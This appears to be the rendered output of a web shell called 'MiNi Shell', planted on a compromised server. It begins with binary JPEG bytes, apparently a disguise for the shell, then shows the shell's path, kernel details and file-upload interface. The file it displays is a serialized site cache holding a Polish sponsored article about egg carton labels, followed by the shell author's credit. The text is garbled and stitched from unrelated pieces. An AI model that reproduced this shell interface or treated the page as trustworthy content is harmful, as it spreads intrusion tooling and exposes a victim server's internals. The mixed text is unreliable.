JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/fc/

Linux 9dbcd5f6333d 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/fc/fca391ef04b6be492b4f66994f4a02a4.bin

a:2:{i:0;a:2:{i:0;s:19773:" 
                    
                    <h3 class="title">Opakowanie prawdę ci powie, czyli co można wyczytać na jajecznej wytłaczance</h3>
                    <p>
                        <span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong> 15-04-2024, 09:05</strong>
                                            </p>

                    <div class="lorem">
                        <p style="text-align:center;"><img class="img-responsive" src="https://common.v-manager.pl/uploads/source/articles/80330/jajaopakowanie.webp" alt="Informacje na opakowaniu jaj Fermy Drobiu Jokiel" loading="lazy" /><small>Informacje na opakowaniu jaj</small><br /><small>Fermy Drobiu Jokiel</small></p>
<p><strong>Przez wielu konsumentów uznawane za nieistotny dodatek, w rzeczywistości stanowi źródło wielu wartościowych informacji... Sprawdziliśmy, czego można się dowiedzieć, analizując dokładnie opakowanie jaj.</strong></p>
<p>Warto czytać informacje na opakowaniach! Zachęcają do tego lekarze, dietetycy i naukowcy. Niestety wiele osób w ogóle nie zwraca na nie uwagi, bezrefleksyjnie wkładając towary do koszyka. Czas to zmienić, tym bardziej że szybka analiza etykiety pozwala lepiej planować posiłki pod względem kalorycznym i zdrowotnym.</p>
<blockquote>
<p>- Z opakowania jaj można się bardzo dużo dowiedzieć – mówi Tomasz Jokiel, ekspert z firmy Fermy Drobiu Jokiel. - Są na nim zawarte m.in. informacje o warunkach, w jakich były hodowane kury, klasie wagowej jaja, miejscu i rodzaju hodowli czy wartościach odżywczych produktu.</p>
</blockquote>
<h3 style="text-align:left;">Warunki i waga</h3>
<p>Przeanalizujmy po kolei przekazywane nam przez producentów informacje. Warunki hodowli kur określane są cyframi od 0 do 3. Chów ekologiczny oznaczony jako 0 - kura chodzi po świeżym powietrzu i zjada naturalną paszę. 1 oznacza wolny wybieg, czyli kury są w kurniku, ale mogą z niego wychodzić. 2 to chów ściółkowy – tutaj kury nie wychodzą z kurnika. Wreszcie 3 to chów klatkowy – kury trzyma się w klatkach i nie wychodzą na zewnątrz. Natomiast klasy wagowe mamy cztery: S, M, L i XL. S to jaja małe, ważące poniżej 53 g, średnie to litera M (od 53 do 63 g), duże L (od 63 do 73 g) i wreszcie bardzo duże oznacza się jako XL (73 g i więcej).</p>
<h3 style="text-align:left;">Miejsce i rodzaj hodowli</h3>
<p>Informacje na temat miejsca i rodzaju hodowli znajdziemy w ciągu znaków przybierającym formę PL-11223344. Dwie litery oznaczają kraj Unii Europejskiej (w tym przypadku Polskę), dwie pierwsze cyfry to kod województwa, potem kod powiatu, dwie kolejne oznaczają zakres i rodzaj działalności firmy, a dwie ostatnie to kod fermy w danym powiecie.</p>
<blockquote>
<p>- Właśnie tym ciągiem znaków, uzupełnionym dodatkowo na początku kodem określającym warunki hodowli, oznaczone są także pojedyncze jajka – podkreśla specjalista. – Na każdym z nich musi być naniesiona odpowiednia pieczątka.</p>
</blockquote>
<h3 style="text-align:left;">Dane w tabeli</h3>
<p>Z opakowania można również wyczytać informacje dotyczące wartości odżywczych produktu. Są zawarte w specjalnej tabeli. Jej dwie pierwsze kolumny pokazują wartość energetyczną oraz zawartość tłuszczów (w tym kwasów tłuszczowych nasyconych), węglowodanów (w tym cukrów), białka i soli kolejno w 100 g produktu oraz w jednym jajku. Ostania kolumna zawiera procentowe dawki wymienionych wcześniej składników według Referencyjnej Wartości Spożycia.</p>
<blockquote>
<p>- RWS to typowe ilości składników odżywczych, które powinny być dostarczane każdego dnia organizmowi dorosłego człowieka w celu zaspokojenia przeciętnego zapotrzebowania na energię i składniki pokarmowe – tłumaczy ekspert marki Fermy Drobiu Jokiel.</p>
</blockquote>
<p>Czytając tę tabelę, możemy dowiedzieć się, np. że zjedzenie jajka w rozmiarze L (o wadze 68 g) zapewni w 9% dzienną dawkę tłuszczu i w 17% białka.</p>
<p>Na każdym opakowaniu, znajduje się jeszcze jedna, niezwykle istotna informacja - data przydatności do spożycia. Znajdziemy też zalecenie, aby przechowywać jaja w warunkach chłodniczych i spożywać po obróbce termicznej.</p>                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            <p class="text-right">Artykuł reklamowy</p>
                                            
                      
                        
                        
                    
                                        <div class="portal-light-background p1em mt1">
                        <strong>Źródło:</strong> 
                        <span>
                                                    
                            Ferma Drobiu Jokiel                                                        
                                                    </span>
                        <br>
                    </div>
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Jokiel" class="label label-default">Jokiel</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=opakowanie+jaj" class="label label-default">opakowanie jaj</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=rodzaj+hodowli" class="label label-default">rodzaj hodowli</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=RWS" class="label label-default">RWS</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wielkość+jajka" class="label label-default">wielkość jajka</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wartości+odżywcze+produktu" class="label label-default">wartości odżywcze produktu</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=chów+ekologiczny" class="label label-default">chów ekologiczny</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=wolny+wybieg" class="label label-default">wolny wybieg</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=chów+ściółkowy" class="label label-default">chów ściółkowy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=chów+klatkowy" class="label label-default">chów klatkowy</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=data+przydatności+do+spożycia" class="label label-default">data przydatności do spożycia</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/80330_opakowanie-prawde-ci-powie-czyli-co-mozna-wyczytac-na-jajecznej-wytlaczance" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                                                                    <p class="strong">Artykuł został dodany przez firmę</p>
                        <div class="media list">
                            <div class="media-left">
                                                                <a class="fill light-border-right" href="/firmy/dane-kontaktowe/112452_ferma-drobiu-jokiel">
                                    <div class="flex">
                                        <img loading="lazy" class="img-responsive inline" style="padding:0;width:100px;" src="https://common.v-manager.pl/uploads/images/companies/76806/frame/100x80/jokiel_617x458-203650001669274446.gif" alt="Ferma Drobiu Jokiel - zdjęcie">
                                    </div>
                                </a>
                                                            </div>
                            <div class="media-body">
                                <a href="/firmy/dane-kontaktowe/112452_ferma-drobiu-jokiel">
                                    <h5 class="media-heading title">Ferma Drobiu Jokiel</h5>
                                </a>                                
                                                
                                                                    <p class="text-right"><a class="btn btn-default portal-button" href="/firmy/dane-kontaktowe/112452_ferma-drobiu-jokiel">Zapoznaj się z ofertą firmy</a></p>
                                                            </div>
                        </div>
                        <hr class="portal-hr">
                        <div class="clearfix"></div>
                    
                    <div id="articles">    
                        
                    
                                            <p class="strong">Inne publikacje firmy</p>  
                        
                        <div class="row">
                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/85521_zoltko-w-roli-glownej-przepis-na-maslana-grzanke-z-zoltkami-konfitowanymi-i-w-panierce">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/85521/frame/80x60/fot-fermy-drobiu-jokiel_4-237735001758088052.webp" alt="Żółtko w roli głównej – przepis na maślaną grzankę z żółtkami konfitowanymi i w panierce - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/85521_zoltko-w-roli-glownej-przepis-na-maslana-grzanke-z-zoltkami-konfitowanymi-i-w-panierce" class="media-body">
                                <h3 class="media-heading">Żółtko w roli głównej – przepis na maślaną grzankę z żółtkami konfitowanymi i w panierce</h3>
                                <p>Szukacie oryginalnego sposobu na podanie jajek? Proponujemy skupić się na żółtkach. Są nie tylko ska...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84956_zostan-jajecznym-mistrzem-jak-perfekcyjnie-przygotowywac-potrawy-z-jaj">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84956/frame/80x60/poturcku-272355001752216362.webp" alt="Zostań jajecznym mistrzem – jak perfekcyjnie przygotowywać potrawy z jaj - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84956_zostan-jajecznym-mistrzem-jak-perfekcyjnie-przygotowywac-potrawy-z-jaj" class="media-body">
                                <h3 class="media-heading">Zostań jajecznym mistrzem – jak perfekcyjnie przygotowywać potrawy z jaj</h3>
                                <p>Jajka to prawdziwy kulinarny superbohater! Podstawa niezliczonych przepisów, niezastąpiony element z...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/84557_kuchnia-molekularna-we-wlasnym-domu-przepis-na-chmurki-jajeczne-z-krewetkami-koktajlowymi-i-suszonym-zoltkiem">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/84557/frame/80x60/fot-fermy-drobiu-jokiel_3s-132824001748515706.webp" alt="Kuchnia molekularna we własnym domu – przepis na chmurki jajeczne z krewetkami koktajlowymi i suszonym żółtkiem - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/84557_kuchnia-molekularna-we-wlasnym-domu-przepis-na-chmurki-jajeczne-z-krewetkami-koktajlowymi-i-suszonym-zoltkiem" class="media-body">
                                <h3 class="media-heading">Kuchnia molekularna we własnym domu – przepis na chmurki jajeczne z krewetkami koktajlowymi i suszonym żółtkiem</h3>
                                <p>Chcecie zaskoczyć gości ekskluzywną przystawką rodem z kuchni molekularnej? Zaopatrzcie się w świeże...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/82967_ciasto-zza-oceanu-na-swiateczny-stol-przepis-na-sernik-nowojorski">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/82967/frame/80x60/sernik-785533001733988459.webp" alt="Ciasto zza oceanu na świąteczny stół – przepis na sernik nowojorski - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/82967_ciasto-zza-oceanu-na-swiateczny-stol-przepis-na-sernik-nowojorski" class="media-body">
                                <h3 class="media-heading">Ciasto zza oceanu na świąteczny stół – przepis na sernik nowojorski</h3>
                                <p>Podobno nowojorczycy wierzą, że ich sernik (zwany tam cheesecake) był pierwszy na świecie i nikt wcz...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                    
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/81812_jajeczne-burrito-polska-wersja-slynnego-dania-z-meksyku">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/81812/frame/80x60/buritto-999869001725341035.webp" alt="Jajeczne burrito – polska wersja słynnego dania z Meksyku - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/81812_jajeczne-burrito-polska-wersja-slynnego-dania-z-meksyku" class="media-body">
                                <h3 class="media-heading">Jajeczne burrito – polska wersja słynnego dania z Meksyku</h3>
                                <p>Burrito to potrawa pochodząca z północnego Meksyku, która powstała na przełomie XIX i XX wieku. Poda...</p>
                            </a>
                        </div>
                        </div>
                                                                            
                        <div class="col-sm-6">
                        <div class="media" style="margin-bottom: 15px;">
                                                            <div class="media-left">
                                    <a href="/artykuly/szczegoly/81598_kilka-sposobow-na-szparagi-z-jajkiem">
                                        <img loading="lazy" class="media-object" width="80" height="60" src="https://common.v-manager.pl/uploads/images/articles/81598/frame/80x60/1_foto_fermydrobiujokiel-403198001723020245.webp" alt="Kilka sposobów na szparagi z jajkiem - zdjęcie">
                                    </a>
                                </div>
                                                        <a href="/artykuly/szczegoly/81598_kilka-sposobow-na-szparagi-z-jajkiem" class="media-body">
                                <h3 class="media-heading">Kilka sposobów na szparagi z jajkiem</h3>
                                <p>Szparagi to bardzo popularne, także w Polsce, warzywo, którego smakiem nie możemy się jednak cieszyć...</p>
                            </a>
                        </div>
                        </div>
                        <div class="clearfix"></div>                                                </div>
                        
                                                <div class="clearfix"></div>
                        <hr class="portal-hr">
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:4:{i:0;s:13:"article_80330";i:1;s:8:"articles";i:2;s:22:"company_76806_articles";i:3;s:13:"company_76806";}s:4:"data";a:4:{s:32:"33bcc1fd0826da7869fc01ea9817b57a";s:21:"0.56681100 1744707890";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";s:32:"7866ae7cab6d0e74bfa89160ff501a13";s:21:"0.33703500 1758518584";s:32:"512cfcf956638ec73bc1613a4f77ce1e";s:21:"0.09446000 1763895814";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com